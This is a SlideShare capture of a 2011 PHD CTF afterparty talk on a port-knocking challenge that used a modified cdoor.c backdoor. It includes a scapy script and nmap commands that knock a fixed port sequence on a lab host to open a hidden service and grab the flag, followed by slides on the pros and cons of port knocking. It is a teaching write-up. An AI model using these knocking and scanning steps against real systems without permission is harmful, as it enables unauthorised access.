SlideShare a Scribd company logo
Port knocking challenge
                                     the short notes



             Sheridan: Knock, knock.

             Ivanova: Who's there?

             Sheridan: Kosh.

             Ivanova: Kosh who?

             Sheridan: Gesundheit. [snickers]

             I thought that was a good one.

                                              Babylon 5

         PHD CTF Afterparty 2011
Step by step into the trap




   Step 1          Step 2    Step 3                   Step 4


                                      Copyright: http://www.portknocking.org/
Task overview




    1 box running FreeBSD


    1 anonymous FTP server


    1 file: traffic.zip->traffic.pcap


    Slightly modified cdoor.c by FX of Phenoelit
Traffic.pcap #1
Traffic.pcap #2
Initial state
“Knocked” state
EINDBAZEN solution
          #!/usr/bin/python

          # sheldon.py

          # EINDBAZEN solution to port knocking challenge PHD CTF Quals 2011

          # Import scapy

          from scapy.all import *

          conf.verb = 0

          # Ports

          ports = [951, 4826, 9402, 235, 16821, 443, 100]

          # Knock twice on every port

          for dport in range(0, len(ports)):

            print "[*] Knocking on 192.168.0.5: " , ports[dport]

            ip = IP(dst="192.168.0.5")

            port = 39367

            SYN = ip/TCP(sport=port, dport=ports[dport], flags="S", window=2048, options=[('MSS',1460)], seq=0)

            send(SYN) ; print "*KNOCK*"

            port = 39368

            SYN = ip/TCP(sport=port, dport=ports[dport], flags="S", window=2048, options=[('MSS',1460)], seq=0)

            send(SYN) ; print "*KNOCK*"

            print "PENNY"

          # Use NMAP for scanning for open ports

          # We also use -sV, so nmap connects to the port and get the flag

          print "[*] Scanning for open ports using nmap"

          subprocess.call("nmap -sS -sV -T4 -p 1024-2048 192.168.0.5", shell=True)
Simple solution




                  nmap -n -sS -T2 -r -p951 192.168.0.5

                  nmap -n -sS -T2 -r -p4826 192.168.0.5

                  nmap -n -sS -T2 -r -p9402 192.168.0.5

                  nmap -n -sS -T2 -r -p235 192.168.0.5

                  nmap -n -sS -T2 -r -p16821 192.168.0.5

                  nmap -n -sS -T2 -r -p443 192.168.0.5

                  nmap -n -sS -T2 -r -p100 192.168.0.5

                  nmap -n -sS -T4 -p1024-2048 -sV 192.168.0.5
Why not?


   Why not “nmap -n -sS -T2 -r -p951,4826,9402,235,16821,443,100 192.168.0.5”?

  Because:




 The best way to send the required SYN packets to the system is the use of nmap:
 ./nmap -sS -T Polite -p<port1>,<port2>,<port3> <target>
 NOTE: the Polite timing ensures, that nmap sends the packets serial as defined.
                                                                                 FX - cdoor.c
  Now “–T Polite” doesn’t ensure sequential transmission of SYN packets
Advantages


      Sequence of 3 simple TCP knocks requires
      281,474,976,710,656 packets to bruteforce (worst
      case)

      Usually only the IP provided the correct sequence
      is whitelisted

      Simple implementation – less vulnerabilities

      Prevents login bruteforce and mass vulnerability
      exploitation

      In some cases may aid in DoS mitigation

      Modern implementations allow usage of
      cryptographic hashes inside knocking sequence
      (Single Packet Authentication)
Disadvantages



      If knocking daemon dies – “system dies”

      solved by process monitor daemon

      Can be locked out with IP-Spoof

      solved by adding crypto-hashes

      Dropped packets result in incorrect knock

      solved by retransmission
Defense in depth


after
all
it’s
just
another
layer
The more you know

  http://www.phenoelit-us.org/stuff/cd00rdescr.html

  - original cdoor.c

  http://eindbazen.net/?p=316

  - challenge write-up from EINDBAZEN team

  http://en.wikipedia.org/wiki/Port_knocking

  - basic info (used in this presentation:)

  http://www.portknocking.org

  – one big port knocking/SPA resource

  http://www.aldabaknocking.com/?q=portknocking

  – another big port knocking/SPA resource
FIN.




       azaitsev@ptsecurity.ru
              @arbitrarycode

More Related Content

PDF
Plan 9カーネルにおけるTCP/IP実装(未完)
PDF
ハイパフォーマンスブラウザネットワーキング2
PDF
Eincop Netwax Lab: EIGRP ii
PDF
Nxll22 role based cli
PDF
Nxll19 vrrp (virtual router redundancy protocol)
PDF
Nxll24 i pv6
PDF
Nxll12 zone based firewall
PDF
Nxll20 na ting
Plan 9カーネルにおけるTCP/IP実装(未完)
ハイパフォーマンスブラウザネットワーキング2
Eincop Netwax Lab: EIGRP ii
Nxll22 role based cli
Nxll19 vrrp (virtual router redundancy protocol)
Nxll24 i pv6
Nxll12 zone based firewall
Nxll20 na ting

What's hot (20)

PDF
Nxll28 ospf iii
PDF
Nxll16 basic asa v8.2
PDF
Nxll10 v lan and trunking
PDF
Eincop Netwax Lab: Vlan and Trunking ii
PDF
Nxll23 i pv6
PDF
Eincop Netwax Lab: Access List ii
PDF
Offline bruteforce attack on wi fi protected setup
PDF
Nxll25 hsrp with failover
PDF
Nxll26 bgp ii
PDF
Nxll21 ospf filtering & summarization
PDF
Eincop Netwax Lab: EIGRP iii
PDF
3 scanning-ger paoctes-pub
PDF
Eincop Netwax Lab: Redistribution
PDF
One key sheard site to site open vpn
PDF
2 netcat enum-pub
PDF
Nxll17 dynamic routing with asa
PDF
Reverse engineering Swisscom's Centro Grande Modem
PDF
Nmap5.cheatsheet.eng.v1
PDF
Zn task - defcon russia 20
PPTX
Humantalk Angers 14 Mars
Nxll28 ospf iii
Nxll16 basic asa v8.2
Nxll10 v lan and trunking
Eincop Netwax Lab: Vlan and Trunking ii
Nxll23 i pv6
Eincop Netwax Lab: Access List ii
Offline bruteforce attack on wi fi protected setup
Nxll25 hsrp with failover
Nxll26 bgp ii
Nxll21 ospf filtering & summarization
Eincop Netwax Lab: EIGRP iii
3 scanning-ger paoctes-pub
Eincop Netwax Lab: Redistribution
One key sheard site to site open vpn
2 netcat enum-pub
Nxll17 dynamic routing with asa
Reverse engineering Swisscom's Centro Grande Modem
Nmap5.cheatsheet.eng.v1
Zn task - defcon russia 20
Humantalk Angers 14 Mars
Ad

Similar to Александр Зайцев - Port Knocking, short notes (20)

PDF
Ch 5: Port Scanning
PPT
Module 3 Scanning
PPT
Port Scanning
PPTX
PPT
Bh usa-01-kaminsky
PDF
Comparative Analysis of Personal Firewalls
PPT
Ssh
PDF
Figure 3 TCP Session Hijacking Attack victims to execute the mali.pdf
PDF
TCP Sorcery
PPT
PPT
Port Scanning in computer networks with .ppt
PDF
theday, windows hacking with commandline
PDF
Ctf hello,world!
PDF
Improved kernel based port-knocking in linux
PPTX
Shmoocon Epilogue 2013 - Ruining security models with SSH
PPT
Dmk blackops2006 ccc
PPTX
Unsecuring SSH
PPT
Unix Web servers and FireWall
PPT
Unix Web servers and FireWall
PDF
Security problems in TCP/IP
Ch 5: Port Scanning
Module 3 Scanning
Port Scanning
Bh usa-01-kaminsky
Comparative Analysis of Personal Firewalls
Ssh
Figure 3 TCP Session Hijacking Attack victims to execute the mali.pdf
TCP Sorcery
Port Scanning in computer networks with .ppt
theday, windows hacking with commandline
Ctf hello,world!
Improved kernel based port-knocking in linux
Shmoocon Epilogue 2013 - Ruining security models with SSH
Dmk blackops2006 ccc
Unsecuring SSH
Unix Web servers and FireWall
Unix Web servers and FireWall
Security problems in TCP/IP
Ad

More from Positive Hack Days (20)

PPTX
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
PPTX
Как мы собираем проекты в выделенном окружении в Windows Docker
PPTX
Типовая сборка и деплой продуктов в Positive Technologies
PPTX
Аналитика в проектах: TFS + Qlik
PPTX
Использование анализатора кода SonarQube
PPTX
Развитие сообщества Open DevOps Community
PPTX
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
PPTX
Автоматизация построения правил для Approof
PDF
Мастер-класс «Трущобы Application Security»
PDF
Формальные методы защиты приложений
PDF
Эвристические методы защиты приложений
PDF
Теоретические основы Application Security
PPTX
От экспериментального программирования к промышленному: путь длиной в 10 лет
PDF
Уязвимое Android-приложение: N проверенных способов наступить на грабли
PPTX
Требования по безопасности в архитектуре ПО
PDF
Формальная верификация кода на языке Си
PPTX
Механизмы предотвращения атак в ASP.NET Core
PDF
SOC для КИИ: израильский опыт
PDF
Honeywell Industrial Cyber Security Lab & Services Center
PDF
Credential stuffing и брутфорс-атаки
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Как мы собираем проекты в выделенном окружении в Windows Docker
Типовая сборка и деплой продуктов в Positive Technologies
Аналитика в проектах: TFS + Qlik
Использование анализатора кода SonarQube
Развитие сообщества Open DevOps Community
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Автоматизация построения правил для Approof
Мастер-класс «Трущобы Application Security»
Формальные методы защиты приложений
Эвристические методы защиты приложений
Теоретические основы Application Security
От экспериментального программирования к промышленному: путь длиной в 10 лет
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Требования по безопасности в архитектуре ПО
Формальная верификация кода на языке Си
Механизмы предотвращения атак в ASP.NET Core
SOC для КИИ: израильский опыт
Honeywell Industrial Cyber Security Lab & Services Center
Credential stuffing и брутфорс-атаки

Recently uploaded (20)

PPTX
Board-Reporting-Package-by-Umbrex-5-23-23.pptx
PDF
Ôn tập tiếng anh trong kinh doanh nâng cao
PDF
Power and position in leadershipDOC-20250808-WA0011..pdf
PPTX
New Microsoft PowerPoint Presentation - Copy.pptx
PPTX
Principles of Marketing, Industrial, Consumers,
PPTX
Probability Distribution, binomial distribution, poisson distribution
PDF
NewBase 12 August 2025 Energy News issue - 1812 by Khaled Al Awadi_compresse...
PDF
Stem Cell Market Report | Trends, Growth & Forecast 2025-2034
PDF
Nidhal Samdaie CV - International Business Consultant
PDF
Chapter 5_Foreign Exchange Market in .pdf
PPTX
3. HISTORICAL PERSPECTIVE UNIIT 3^..pptx
PPTX
2025 Product Deck V1.0.pptxCATALOGTCLCIA
PDF
kom-180-proposal-for-a-directive-amending-directive-2014-45-eu-and-directive-...
PDF
Laughter Yoga Basic Learning Workshop Manual
PPT
340036916-American-Literature-Literary-Period-Overview.ppt
PPTX
Lecture (1)-Introduction.pptx business communication
PPTX
svnfcksanfskjcsnvvjknsnvsdscnsncxasxa saccacxsax
PDF
Daniels 2024 Inclusive, Sustainable Development
PDF
NISM Series V-A MFD Workbook v December 2024.khhhjtgvwevoypdnew one must use ...
PDF
Deliverable file - Regulatory guideline analysis.pdf
Board-Reporting-Package-by-Umbrex-5-23-23.pptx
Ôn tập tiếng anh trong kinh doanh nâng cao
Power and position in leadershipDOC-20250808-WA0011..pdf
New Microsoft PowerPoint Presentation - Copy.pptx
Principles of Marketing, Industrial, Consumers,
Probability Distribution, binomial distribution, poisson distribution
NewBase 12 August 2025 Energy News issue - 1812 by Khaled Al Awadi_compresse...
Stem Cell Market Report | Trends, Growth & Forecast 2025-2034
Nidhal Samdaie CV - International Business Consultant
Chapter 5_Foreign Exchange Market in .pdf
3. HISTORICAL PERSPECTIVE UNIIT 3^..pptx
2025 Product Deck V1.0.pptxCATALOGTCLCIA
kom-180-proposal-for-a-directive-amending-directive-2014-45-eu-and-directive-...
Laughter Yoga Basic Learning Workshop Manual
340036916-American-Literature-Literary-Period-Overview.ppt
Lecture (1)-Introduction.pptx business communication
svnfcksanfskjcsnvvjknsnvsdscnsncxasxa saccacxsax
Daniels 2024 Inclusive, Sustainable Development
NISM Series V-A MFD Workbook v December 2024.khhhjtgvwevoypdnew one must use ...
Deliverable file - Regulatory guideline analysis.pdf

Александр Зайцев - Port Knocking, short notes

  • 1. Port knocking challenge the short notes Sheridan: Knock, knock. Ivanova: Who's there? Sheridan: Kosh. Ivanova: Kosh who? Sheridan: Gesundheit. [snickers] I thought that was a good one. Babylon 5 PHD CTF Afterparty 2011
  • 2. Step by step into the trap Step 1 Step 2 Step 3 Step 4 Copyright: http://www.portknocking.org/
  • 3. Task overview 1 box running FreeBSD 1 anonymous FTP server 1 file: traffic.zip->traffic.pcap Slightly modified cdoor.c by FX of Phenoelit
  • 8. EINDBAZEN solution #!/usr/bin/python # sheldon.py # EINDBAZEN solution to port knocking challenge PHD CTF Quals 2011 # Import scapy from scapy.all import * conf.verb = 0 # Ports ports = [951, 4826, 9402, 235, 16821, 443, 100] # Knock twice on every port for dport in range(0, len(ports)): print "[*] Knocking on 192.168.0.5: " , ports[dport] ip = IP(dst="192.168.0.5") port = 39367 SYN = ip/TCP(sport=port, dport=ports[dport], flags="S", window=2048, options=[('MSS',1460)], seq=0) send(SYN) ; print "*KNOCK*" port = 39368 SYN = ip/TCP(sport=port, dport=ports[dport], flags="S", window=2048, options=[('MSS',1460)], seq=0) send(SYN) ; print "*KNOCK*" print "PENNY" # Use NMAP for scanning for open ports # We also use -sV, so nmap connects to the port and get the flag print "[*] Scanning for open ports using nmap" subprocess.call("nmap -sS -sV -T4 -p 1024-2048 192.168.0.5", shell=True)
  • 9. Simple solution nmap -n -sS -T2 -r -p951 192.168.0.5 nmap -n -sS -T2 -r -p4826 192.168.0.5 nmap -n -sS -T2 -r -p9402 192.168.0.5 nmap -n -sS -T2 -r -p235 192.168.0.5 nmap -n -sS -T2 -r -p16821 192.168.0.5 nmap -n -sS -T2 -r -p443 192.168.0.5 nmap -n -sS -T2 -r -p100 192.168.0.5 nmap -n -sS -T4 -p1024-2048 -sV 192.168.0.5
  • 10. Why not? Why not “nmap -n -sS -T2 -r -p951,4826,9402,235,16821,443,100 192.168.0.5”? Because: The best way to send the required SYN packets to the system is the use of nmap: ./nmap -sS -T Polite -p<port1>,<port2>,<port3> <target> NOTE: the Polite timing ensures, that nmap sends the packets serial as defined. FX - cdoor.c Now “–T Polite” doesn’t ensure sequential transmission of SYN packets
  • 11. Advantages Sequence of 3 simple TCP knocks requires 281,474,976,710,656 packets to bruteforce (worst case) Usually only the IP provided the correct sequence is whitelisted Simple implementation – less vulnerabilities Prevents login bruteforce and mass vulnerability exploitation In some cases may aid in DoS mitigation Modern implementations allow usage of cryptographic hashes inside knocking sequence (Single Packet Authentication)
  • 12. Disadvantages If knocking daemon dies – “system dies” solved by process monitor daemon Can be locked out with IP-Spoof solved by adding crypto-hashes Dropped packets result in incorrect knock solved by retransmission
  • 14. The more you know http://www.phenoelit-us.org/stuff/cd00rdescr.html - original cdoor.c http://eindbazen.net/?p=316 - challenge write-up from EINDBAZEN team http://en.wikipedia.org/wiki/Port_knocking - basic info (used in this presentation:) http://www.portknocking.org – one big port knocking/SPA resource http://www.aldabaknocking.com/?q=portknocking – another big port knocking/SPA resource
  • 15. FIN. azaitsev@ptsecurity.ru @arbitrarycode